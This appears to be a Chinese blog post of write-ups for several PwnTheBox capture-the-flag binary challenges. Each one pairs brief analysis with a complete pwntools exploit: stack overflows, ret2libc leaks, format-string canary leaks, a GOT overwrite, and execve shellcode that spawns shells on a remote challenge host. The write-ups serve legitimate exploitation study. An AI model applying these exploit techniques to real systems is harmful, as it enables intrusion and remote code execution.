PwnTheBox记录1

pwn1_sctf_2016

只开启了NX保护,fgets函数给了输入机会,但是发现给输入的字节长度不够

但是后面一堆c++代码的执行能达到将数据"I"替换为"you"的效果

于是我们构造payload时相应地使用一定数量的"I"产生栈溢出即可

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10049)
addr=0x08048F0D
pay=b'I'*20+b'a'*4+p32(addr)
p.sendline(pay)
p.interactive()

ciscn_2019_en_2

checksec了一下发现只开启了NX保护

分析主程序可知只有选择1时才能进入函数encrypt

跟进查看函数

很明显gets处存在栈溢出漏洞,但是后面会有一个复杂的while循环更改gets输入的信息

所以我们需要构造相应的payload使得跳过while循环

注意到条件处的strlen函数是遇到结束符'\0'停止,故我们在payload的第一位放\0即可绕过检查

由于程序中无system和/bin/sh第一步要做的泄露libc地址

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10051)
elf=ELF('./ptb3')
rdi=0x400c83
main=0x400B28
ret=0x4006b9
pay1=b'\x00'+b'a'*87+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
p.sendline('1')
p.recv()
p.sendline(pay1)
p.recvline()
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

利用泄露出的libc地址的后三位查找libc版本 https://libc.blukat.me/?q=

得到相应libc中函数地址后算出各函数的真实地址重复上述步骤利用栈溢出漏洞拿到shell

要注意的是在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡,需要在调用system前添加ret

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10051)
elf=ELF('./ptb3')
rdi=0x400c83
main=0x400B28
ret=0x4006b9
pay1=b'\x00'+b'a'*87+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
p.sendline('1')
p.recv()
p.sendline(pay1)
p.recvline()
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

sys=0x04f550
puts=0x080aa0
sh=0x1b3e1a

offset=puts_addr-puts
system=sys+offset
binsh=sh+offset

pay2=b'\x00'+b'a'*87+p64(rdi)+p64(binsh)+p64(ret)+p64(system)+p64(0)
p.sendline('1')
p.recv()
p.sendline(pay2)
p.interactive()

rop chain

通过printf泄露地址,与puts类似

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10133)
elf=ELF('./rop')
main=0x0804873B
pay1=b'a'*(0x18+4)+p32(elf.plt['printf'])+p32(main)+p32(elf.got['printf'])
p.recv()
p.sendline(pay1)
printf_addr=u32(p.recv(4))
print(hex(printf_addr))

sys=0x03ce10
printf=0x050c60
sh=0x17b88f

offset=printf_addr-printf
system=sys+offset
binsh=sh+offset

pay2=b'a'*(0x18+4)+p32(system)+p32(main)+p32(binsh)
p.sendline(pay2)
p.interactive()

jarvisoj level4

32位程序

查看保护仅开启NX

主函数最后调用了write

跟进第一个函数

发现存在栈溢出漏洞,ida中无system和/bin/sh,故我们考虑利用write泄露函数got表地址来找到对应的libc版本

write函数的参数设置与puts不同

第一步泄露write的got表地址

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10136)
elf=ELF('./level4')
main=0x08048470

pay1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)
pay1+=p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(pay1)
write_addr=u32(p.recv(4))
print(hex(write_addr))

查找libc版本,能查到两种ubuntu的,分别试试

exp:

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10136)
elf=ELF('./level4')
main=0x08048470

pay1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)
pay1+=p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(pay1)
write_addr=u32(p.recv(4))
print(hex(write_addr))

sys=0x03a950
write=0x0d44d0
sh=0x15912b

offset=write_addr-write
system=sys+offset
binsh=sh+offset

pay2=b'a'*(0x88+4)+p32(system)+p32(main)+p32(binsh)
p.sendline(pay2)
p.interactive()

baby rop 2

check一下有NX和canary保护

gift函数有一个格式化字符串漏洞,scanf处可读入六个字符

vuln给了我们一次栈溢出的机会,所有我们需要利用第一次的格式化字符串漏洞读取canary的值,并且在栈溢出的时候填到指定位置

ida里没有system /bin/sh,利用puts泄露libc地址

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10457)
elf=ELF('./ptb')
main=0x4008DA
rdi=0x400993
#------
payload1=b'%7$p'
p.recv()
p.sendline(payload1)
canary=int(p.recvuntil('\n')[:-1],16)
print(hex(canary))
#------
payload2=b'a'*(0x20-0x8)+p64(canary)+b'a'*8
payload2+=p64(rdi)+p64(elf.got['puts'])
payload2+=p64(elf.plt['puts'])+p64(main)
p.recv()
p.send(payload2)
#------
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
#------
sys=0x45390
sh=0x18cd57
puts=0x6f690
offset=puts_addr-puts
system=sys+offset
binsh=sh+offset
#------
payload3=b'%7$p'
p.recv()
p.sendline(payload3)
canary=int(p.recvuntil('\n')[:-1],16)
print(hex(canary))
#------
payload4=b'a'*(0x20-0x8)+p64(canary)+b'a'*8
payload4+=p64(rdi)+p64(binsh)
payload4+=p64(system)+p64(main)
p.send(payload4)
p.interactive()

收获:

1.canary时程序刚开始运行时从%fs偏移28的位置取的值,不会在你劫持程序流的过程中变换

2.scanf(%6s)规定了只能读6个字符

陇原战疫bbbaby

程序开启了NX和canary保护

v4通过一个输入函数上限10个,最后atoi字符串转整型

跟进第一个函数看看

v1输入一个地址最后向该地址读入八个字节

第二个函数

size的输入和最开始v4输入函数一致

后面向a1中读入n个字节

a1即原main函数的v5,查看一下main函数的栈帧

为了绕过canary我们需要通过第一个函数修改__canary_chk_fail函数为ret,即我们即使触发canary保护也不会退出程序

再通过第二个函数控制输入字节数,执行栈溢出,后面操作就是泄露libc了

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10076)
elf=ELF('./pwn1')
ret=0x4005d9
rdi=0x400a03
main=0x40090B
#------
p.sendlineafter('your choice\n','0')
addr=elf.got['__stack_chk_fail']
print(hex(addr))
p.sendlineafter('address:\n',str(addr))
p.sendafter('content:\n',p64(ret))
#------
payload1=b'a'*(0x110+8)+p64(rdi)+p64(elf.got['puts'])
payload1+=p64(elf.plt['puts'])+p64(main)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n','1000')
p.sendafter('content:\n',payload1)
p.sendlineafter('your choice\n','2')
#------
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
#------
sys=0x0453a0
puts=0x06f6a0
sh=0x18ce57
offset=puts_addr-puts
system=sys+offset
binsh=sh+offset
#------
payload2=b'a'*(0x110+8)+p64(rdi)+p64(binsh)
payload2+=p64(ret)+p64(system)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n','1000')
p.sendafter('content:\n',payload2)
p.sendline('2')
p.interactive()

收获:

1.知道了一种绕过canary的新姿势修改__canary_chk_fail

2.注意send和sendline的使用,有时候\n真是让你困惑至极
3.GOT 表的初始值都指向 PLT 表对应条目中的某个片段,这个片段的作用是调用一个函数地址解析函数。

当程序需要调用某个外部函数时,首先到 PLT表内寻找对应的入口点,跳转到 GOT 表中。

如果这是第一次调用这个函数,程序会通过 GOT 表再次跳转回 PLT表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉 GOT 表的初始值,之后再执行函数调用。

当再次调用这个函数时,程序仍然首先通过 PLT表跳转到 GOT 表,此时 GOT 表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数

bof

啥保护也没开

查看fun1

注意到NAME在bss段上,NX未开,且read溢出只能覆盖到ret不能构造长的rop链

考虑向bss段写入shellcode,最后通过read栈溢出执行bss段上的shellcode即可

但是这里对shellcode的长度有限制0x18,网上可以搜到现成的短shellcode

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=remote('redirect.do-not-trust.hacking.run',10174)
addr=0x404070
#------
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.sendline(shellcode)
#------
payload=b'a'*(0x20+8)+p64(addr)
p.sendline(payload)
p.interactive()

收获:

1.64位程序的shellcode生成要在最开始申明架构

2.尝试了一下自己写汇编转,遗憾汇编水平实在不行,年后好好补补

Login

查看保护开了nx和canary

用c++写的程序,读起来有点吃力,跑一下程序,发现就是让你输入账户,和密码然后会有check

在函数表中找到后门函数

我们跟进最后一个check函数

比较传进来的两个参数(即输入的密码和储存的密码),然后会调用**a1,故我们考虑能否在前面的输入中修改a1为我们想要的地址

a1=v8,跟进v8生成的函数我们知道v8存的是v3的地址,然后就啥也找不着了

在看代码看得比较晕的情况下,选择看汇编

check函数的汇编代码,最后call rax,溯源发现rax是rdi储存的值

查看password_checker

可知最后的rax存的是[rbp+var_18]的地址

于是**rax就是跳转[rbp+var_18]中储存的值

如果我在[rbp+var_18]处放上后门函数,那么在最后程序就会将其执行

注意到这个值是储存在栈中的,在被执行前有一次输入(read_password),我们利用这次输入将[rbp+var_18]处的值篡改为后门函数即可

第一次的username未作限制,随便输即可

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=remote('redirect.do-not-trust.hacking.run',10357)
#p=process('./login')
#gdb.attach('login')
backdoor=0x400E88
#------
payload=b'2jctf_pa5sw0rd'+b'\x00'*58+p64(backdoor)
p.sendlineafter('username: ','hash')
p.sendlineafter('password: ',payload)
p.interactive()

收获:

1.在看不懂程序的时候看汇编真是一种不错的方式

gettingstart

保护差不多开全了

程序却十分简单,我们只要满足他的条件就能getshell了

第一个好满足,第二个小数在内存中是怎么储存的呢?

看看汇编

cmp指令比较rdx和rax的值就是v5和rax储存的十六进制数是否相等

ucomisd是比较双精度值,用于浮点数的比较

即会把qword_C10的值拿来和我们的v6比较

有关数据类型的补充

我们把v6的值覆盖成3FB999999999999A即可

from pwn import *
p=remote('redirect.do-not-trust.hacking.run',10364)
#p=process('./ptb')
#gdb.attach('ptb')
v5=0x7FFFFFFFFFFFFFFF
v6=0x3FB999999999999A
payload=b'a'*24+p64(v5)+p64(v6)
p.sendline(payload)
p.interactive()

收获:

1.知道了在内存中浮点数是以16进制储存,但是具体计算暂时还没搞清楚

posted @ 2022-01-19 22:58  hash_hash  阅读(126)  评论(0编辑  收藏  举报